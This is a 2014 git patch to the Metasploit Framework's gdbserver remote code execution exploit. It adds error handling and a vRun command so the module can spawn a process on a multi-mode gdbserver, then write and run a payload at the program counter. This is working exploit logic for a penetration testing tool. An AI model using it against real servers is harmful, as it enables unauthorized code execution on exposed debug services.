From 4293500a5ede6f230960e2effa2ef358e7908067 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 3 Sep 2014 15:56:21 -0500 Subject: [PATCH] Implement running exe in multi. --- lib/msf/core/exploit/gdb.rb | 25 ++++++++++++--- modules/exploits/multi/gdb/gdb_server_exec.rb | 32 ++++++++++++++++--- 2 files changed, 49 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb index 97d823e6d7..5dc3fd9e5f 100644 --- a/lib/msf/core/exploit/gdb.rb +++ b/lib/msf/core/exploit/gdb.rb @@ -15,6 +15,12 @@ module Exploit::Remote::Gdb include Msf::Exploit::Remote::Tcp + # thrown when an expected ACK packet is never received + class BadAckError < RuntimeError; end + + # thrown when a response is incorrect + class BadResponseError < RuntimeError; end + # Default list of supported GDB features to send the to the target GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' @@ -31,10 +37,10 @@ module Exploit::Remote::Gdb end # Reads an ACK packet from the wire - # @raise [RuntimeError] if a bad ACK is received + # @raise [BadAckError] if a bad ACK is received def read_ack unless sock.get_once == '+' - raise 'received bad ack' + raise BadAckError end vprint_status('Received ack...') end @@ -53,9 +59,11 @@ module Exploit::Remote::Gdb # @param opts [Hash] the options hash # @option opts :decode [Boolean] rle decoding should be applied to the response # @return [String] the response + # @raise [BadResponseError] if the expected response is missing def read_response(opts={}) decode = opts.fetch(:decode, false) res = sock.get_once + raise BadResponseError if res.nil? res = decode_rle(res) if decode vprint_status('Result: '+res) send_ack @@ -95,9 +103,12 @@ module Exploit::Remote::Gdb # Steps execution and finds $PC pointer and architecture # @return [Hash] with :arch and :pc keys containing architecture and PC pointer + # @raise [BadResponseError] if necessary data is missing def process_info data = step - pc_data = data.split(';')[2].split(':') + pc_data = data.split(';')[2] + raise BadResponseError if pc_data.nil? + pc_data = pc_data.split(':') my_arch = PC_REGISTERS[pc_data[0]] pc = pc_data[1] @@ -107,7 +118,8 @@ module Exploit::Remote::Gdb { arch: my_arch, - pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), '') + pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''), + pc_raw: Integer(pc, 16) } end @@ -141,6 +153,11 @@ module Exploit::Remote::Gdb read_response(decode: true) end + def run(filename) + send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}" + read_response + end + # Performs a handshake packet exchange # @param features [String] the list of supported features to tell the remote # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index ee11980dba..ccb1daaa88 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -27,6 +27,14 @@ class Metasploit3 < Msf::Exploit::Remote 'PrependFork' => true } )) + + register_options([ + OptString.new('EXE_FILE', [ + false, + "The exe to spawn when gdbserver is not attached to a process.", + '/bin/true' + ]) + ], self.class) end def exploit @@ -35,13 +43,29 @@ class Metasploit3 < Msf::Exploit::Remote print_status "Performing handshake with gdbserver..." handshake - print_status "Stepping program to find PC..." - gdb_pc, gdb_arch = process_info.values_at :pc, :arch + begin + print_status "Stepping program to find PC..." + gdb_data = process_info + rescue BadAckError, BadResponseError + # gdbserver is running with the --multi flag and is not currently + # attached to any process. let's attach to /bin/true or something. + print_status "No process loaded, attempting to load /bin/true..." + run(datastore['EXE_FILE']) + gdb_data = process_info + end - p = regenerate_payload(nil, gdb_arch, nil) + gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch) + + unless payload.arch.include? gdb_arch + fail_with( + Msf::Exploit::Failure::BadConfig, + "The payload architecture is incorrect: "+ + "the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb." + ) + end print_status "Writing payload at #{gdb_pc}..." - write(p.encoded, gdb_pc) + write(payload.encoded, gdb_pc) print_status "Executing the payload..." continue